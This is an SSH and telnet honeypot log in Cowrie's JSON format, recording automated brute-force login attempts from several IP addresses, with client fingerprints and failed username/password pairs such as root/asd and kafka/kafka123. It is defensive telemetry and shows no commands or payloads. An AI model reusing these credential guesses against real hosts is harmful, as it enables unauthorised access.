{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:00.888463Z","src_ip":"101.36.122.139","session":"a34e5a0e58c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:01.729983Z","src_ip":"45.153.34.195","session":"27c5e486de81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd","message":"login attempt [root/asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:01.802766Z","src_ip":"101.36.122.139","session":"a34e5a0e58c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaaa","message":"login attempt [root/aaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:03.006876Z","src_ip":"91.92.40.36","session":"476f5fb4631b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:03.026004Z","src_ip":"101.36.122.139","session":"a34e5a0e58c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":17944,"dst_ip":"10.17.0.5","dst_port":22,"session":"7464f3a870c3","protocol":"ssh","message":"New connection: 45.153.34.195:17944 (10.17.0.5:22) [session: 7464f3a870c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:03.165250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:03.215962Z","src_ip":"45.153.34.195","session":"7464f3a870c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43632,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4a9f576c030","protocol":"telnet","message":"New connection: 128.199.8.54:43632 (159.203.135.109:23) [session: d4a9f576c030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:03.277267Z"}
{"eventid":"cowrie.session.closed","duration":0.006651639938354492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:03.283693Z","src_ip":"128.199.8.54","session":"d4a9f576c030","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:03.325688Z","src_ip":"45.153.34.195","session":"7464f3a870c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"12345","message":"login attempt [main/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:03.715026Z","src_ip":"45.153.34.195","session":"7464f3a870c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:04.862005Z","src_ip":"45.153.34.195","session":"7464f3a870c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:04.925989Z","src_ip":"91.92.40.36","session":"476f5fb4631b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17328,"dst_ip":"10.17.0.5","dst_port":22,"session":"756b830857a5","protocol":"ssh","message":"New connection: 91.92.40.36:17328 (10.17.0.5:22) [session: 756b830857a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:05.557231Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":17958,"dst_ip":"10.17.0.5","dst_port":22,"session":"1487bfed62c7","protocol":"ssh","message":"New connection: 45.153.34.195:17958 (10.17.0.5:22) [session: 1487bfed62c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:06.002903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:06.009251Z","src_ip":"45.153.34.195","session":"1487bfed62c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:06.114382Z","src_ip":"45.153.34.195","session":"1487bfed62c7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:06.222333Z","src_ip":"91.92.40.36","session":"756b830857a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:06.226055Z","src_ip":"91.92.40.36","session":"756b830857a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdadmin","password":"51nGleD","message":"login attempt [sdadmin/51nGleD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:06.664896Z","src_ip":"45.153.34.195","session":"1487bfed62c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:07.747941Z","src_ip":"45.153.34.195","session":"1487bfed62c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":17986,"dst_ip":"10.17.0.5","dst_port":22,"session":"222117ba956c","protocol":"ssh","message":"New connection: 45.153.34.195:17986 (10.17.0.5:22) [session: 222117ba956c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:09.020186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:09.037136Z","src_ip":"45.153.34.195","session":"222117ba956c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:09.125984Z","src_ip":"45.153.34.195","session":"222117ba956c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:09.426460Z","src_ip":"45.153.34.195","session":"222117ba956c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:10.515671Z","src_ip":"45.153.34.195","session":"222117ba956c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"qwerty","message":"login attempt [debian/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:10.940014Z","src_ip":"91.92.40.36","session":"756b830857a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":18012,"dst_ip":"10.17.0.5","dst_port":22,"session":"07c67a14ef7d","protocol":"ssh","message":"New connection: 45.153.34.195:18012 (10.17.0.5:22) [session: 07c67a14ef7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:12.023814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:12.031635Z","src_ip":"45.153.34.195","session":"07c67a14ef7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:12.122205Z","src_ip":"45.153.34.195","session":"07c67a14ef7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:12.441879Z","src_ip":"45.153.34.195","session":"07c67a14ef7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:13.083475Z","src_ip":"91.92.40.36","session":"756b830857a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:13.525506Z","src_ip":"45.153.34.195","session":"07c67a14ef7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35832,"dst_ip":"10.17.0.5","dst_port":22,"session":"88f3a7676d9e","protocol":"ssh","message":"New connection: 91.92.40.36:35832 (10.17.0.5:22) [session: 88f3a7676d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:13.790790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:14.294630Z","src_ip":"91.92.40.36","session":"88f3a7676d9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:14.298231Z","src_ip":"91.92.40.36","session":"88f3a7676d9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":49898,"dst_ip":"10.17.0.5","dst_port":22,"session":"7989930312f1","protocol":"ssh","message":"New connection: 45.153.34.195:49898 (10.17.0.5:22) [session: 7989930312f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:14.810273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:14.939115Z","src_ip":"45.153.34.195","session":"7989930312f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:14.942458Z","src_ip":"45.153.34.195","session":"7989930312f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka123","message":"login attempt [kafka/kafka123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:15.531234Z","src_ip":"45.153.34.195","session":"7989930312f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:16.709341Z","src_ip":"45.153.34.195","session":"7989930312f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csserver","password":"csserver","message":"login attempt [csserver/csserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:16.991116Z","src_ip":"91.92.40.36","session":"88f3a7676d9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":49924,"dst_ip":"10.17.0.5","dst_port":22,"session":"9462a72e0b7a","protocol":"ssh","message":"New connection: 45.153.34.195:49924 (10.17.0.5:22) [session: 9462a72e0b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:17.784666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:17.789486Z","src_ip":"45.153.34.195","session":"9462a72e0b7a","protocol":"ssh"}
